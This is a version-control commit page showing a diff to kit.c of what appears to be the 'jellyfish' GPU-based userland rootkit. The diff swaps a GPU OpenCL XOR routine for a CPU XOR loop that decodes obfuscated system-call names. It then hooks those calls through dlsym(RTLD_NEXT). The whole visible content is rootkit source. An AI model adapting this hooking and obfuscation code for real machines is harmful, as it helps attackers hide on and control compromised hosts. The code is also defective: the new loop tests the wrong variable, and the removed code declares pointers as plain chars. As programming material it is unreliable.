STRLCPY/jellyfish

save mem
x0r1 committed 9 years ago

7bf7ed4e

1 parent f29d2c96

Total 1 files

■ ■ ■ ■ ■ ■

rootkit/kit.c

		skipped 69 lines
70	70		return jelly->program;
71	71		}
72	72
73		-	// It would probably just be better to xor in cpu but this is just example of using gpu to do things for us
74	73		void jelly_init(){
75		-	char buf, buf2, *buf3;
	74	+	char *buf;
	75	+	int code = 0x42;
76	76
77		-	int i;
	77	+	int i, z;
78	78		for(i = 0; i < SYSCALL_SIZE; i++){
79		-	jelly->dev = create_device();
80		-	jelly->ctx = clCreateContext(NULL, 1, &jelly->dev, NULL, NULL, &err);
81		-	jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__);
82		-
83		-	buf = (char *)malloc(strlen(syscall_table[i]) + 20);
84		-	buf2 = (char *)malloc(strlen(buf) + 1);
85		-	buf3 = (char *)malloc(strlen(buf2));
86		-
87		-	strcpy(buf, syscall_table[i]);
88		-
89		-	// xor syscall in gpu
90		-	input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE \| CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err);
91		-	local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE \| CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf2, &err);
92		-	group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE \| CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf3, &err);
93		-
94		-	// host-device command queue
95		-	jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err);
96		-
97		-	// gpu kernel thread
98		-	jelly->kernels[3] = clCreateKernel(jelly->program, jelly_xor, &err);
99		-
100		-	// gpu kernel args
101		-	clSetKernelArg(jelly->kernels[3], 0, sizeof(cl_mem), &input);
102		-	clSetKernelArg(jelly->kernels[3], 1, sizeof(cl_mem), &local);
103		-	clSetKernelArg(jelly->kernels[3], 2, sizeof(cl_mem), &group);
104		-
105		-	// host-device comm
106		-	clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[3], 1, NULL, &global_size, &local_size, 0, NULL, NULL);
107		-
108		-	// read xor'ed syscall from gpu
109		-	clEnqueueReadBuffer(jelly->cq, group, CL_TRUE, 0, sizeof(buf3), buf3, 0, NULL, NULL);
110		-
111		-	syscalls[i].syscall_func = dlsym(RTLD_NEXT, buf3);
112		-
	79	+	buf = (char *)malloc(strlen(syscall_table[i]) + 1);
	80	+	strcpy(buf, syscall_table[i]);
	81	+	for(z = 0; i < strlen(buf); z++){
	82	+	buf[z] ^= code;
	83	+	}
	84	+	syscalls[i].syscall_func = dlsym(RTLD_NEXT, buf);
113	85		free(buf);
114		-	free(buf2);
115		-	free(buf3);
116		-
117		-	clReleaseContext(jelly->ctx);
118		-	clReleaseProgram(jelly->program);
119		-	clReleaseMemObject(input);
120		-	clReleaseMemObject(local);
121		-	clReleaseMemObject(group);
122		-	clReleaseCommandQueue(jelly->cq);
123		-	clReleaseKernel(jelly->kernels[3]);
124	86		}
125	87		}
126	88
		skipped 243 lines

save mem